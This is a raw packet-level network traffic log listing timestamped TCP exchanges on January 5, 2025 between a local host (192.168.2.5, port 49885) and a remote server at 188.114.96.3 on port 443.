Jan 5, 2025 18:52:53.140957117 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.141064882 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.141079903 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.141129017 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.141134024 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.141189098 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.141746044 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.165343046 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.165359020 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.165426970 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.165432930 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.165469885 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.165611029 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.165623903 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.165678978 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.165683985 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.165714979 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.165812016 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.165827990 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.165870905 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.165878057 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.165914059 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.231399059 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.231415033 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.231489897 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.231496096 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.231537104 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.232469082 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.232482910 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.232534885 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.232544899 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.232551098 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.232592106 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.233047962 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.233062983 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.233110905 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.233115911 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.233345985 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.233364105 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.233392000 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.233398914 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.233426094 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.257761955 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.257776976 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.257852077 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.257859945 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.257941008 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.257957935 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.257988930 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.257993937 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.258009911 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.258188963 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.258203030 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.258243084 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.258249998 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.258394957 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.258411884 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.258449078 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.258455992 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.258470058 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.309442997 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.324505091 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.324527025 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.324598074 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.324610949 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.324654102 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.326033115 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.326047897 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.326124907 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.326132059 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.326195002 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.326893091 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.326906919 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.326960087 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.326967001 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.327007055 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.327184916 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.327198029 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.327238083 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.327244997 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.327267885 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.327281952 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.350425005 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.350451946 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.350492001 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.350497961 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.350527048 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.350567102 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.350569010 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.350579023 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.350608110 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.350614071 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.350650072 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.350653887 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.350678921 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.350692034 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.350703955 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.350704908 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.350718975 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.350752115 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.350768089 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.350780964 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.350781918 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.350790024 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.350807905 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.350836039 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.416975975 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.416991949 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.417042017 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.417052031 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.417088985 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.418607950 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.418622017 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.418679953 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.418687105 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.418729067 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.419332981 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.419348001 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.419398069 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.419404984 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.419455051 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.419595003 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.419610023 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.419651985 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.419657946 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.419692993 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.442883015 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.442900896 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.442938089 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.442945957 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.442977905 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.443150997 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.443169117 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.443182945 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.443192005 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.443211079 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.443222046 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.443248034 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.443635941 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.443650961 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.443702936 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.443710089 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.443738937 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.443738937 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.443856955 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.443871975 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.443913937 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.443919897 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.443955898 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.509356976 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.509376049 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.509480000 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.509493113 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.509938955 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.511096001 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.511110067 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.511177063 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.511183023 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.511784077 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.511802912 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.511940956 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.511950016 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.512078047 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.512092113 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.512140989 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.512149096 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.513180017 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.535479069 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.535495996 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.535582066 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.535589933 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.535671949 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.535690069 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.535727978 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.535732985 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.535761118 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.535784006 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.536156893 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.536171913 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.536236048 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.536241055 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.536358118 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.536374092 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.536412954 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.536417961 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.536447048 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.536469936 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.606245041 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.606264114 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.606368065 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.606376886 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.606411934 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.606419086 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.606422901 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.606457949 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.606472969 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.606478930 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.606509924 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.606523037 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.606674910 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.606689930 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.606744051 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.606749058 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.606838942 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.606857061 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.606901884 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.606906891 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.606946945 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.610253096 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.627942085 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.627958059 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.628036976 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.628046989 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.628290892 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.628307104 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.628351927 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.628367901 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.628377914 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.628401041 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.628566027 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.628580093 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.628626108 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.628632069 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.628839970 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.628858089 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.628889084 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.628895044 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.628918886 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.628958941 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.698618889 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.698638916 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.698683977 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.698693037 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.698726892 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.698745966 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.698745966 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.698756933 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.698784113 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.698792934 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.698818922 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.698823929 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.698851109 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.698873997 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.699050903 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.699064970 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.699117899 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.699124098 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.699228048 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.699245930 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.699279070 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.699284077 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.699304104 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.699323893 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.727611065 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.727627039 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.727685928 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.727698088 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.727731943 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.727751017 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.728049994 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.728065014 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.728106022 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.728111029 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.728142023 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.728152990 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.728321075 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.728333950 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.728379965 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.728385925 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.728435040 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.728452921 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.728485107 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.728491068 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.728502989 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.728533030 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.792016029 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.792032957 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.792104006 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.792110920 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.792392969 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.792411089 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.792445898 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.792452097 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.792464018 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.792496920 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.792746067 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.792758942 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.792829037 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.792833090 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.793190956 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.793209076 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.793242931 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.793248892 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.793276072 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.793298960 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.821172953 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.821191072 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.821259022 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.821268082 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.821312904 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.821592093 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.821604967 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.821662903 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.821669102 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.821768999 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.821909904 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.821923971 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.821971893 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.821978092 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.822292089 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.822310925 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.822345972 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.822352886 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.822377920 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.822403908 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.884285927 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.884304047 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.884387970 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.884398937 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.884439945 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.884743929 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.884757996 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.884813070 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.884819031 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.885190964 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.885209084 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.885247946 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.885253906 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.885291100 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.885308027 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.885426998 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.885468006 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.885482073 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.885488033 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.885510921 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.913417101 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.913431883 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.913501024 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.913513899 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.914078951 CET	443	49885	188.114.96.3	192.168.2.5
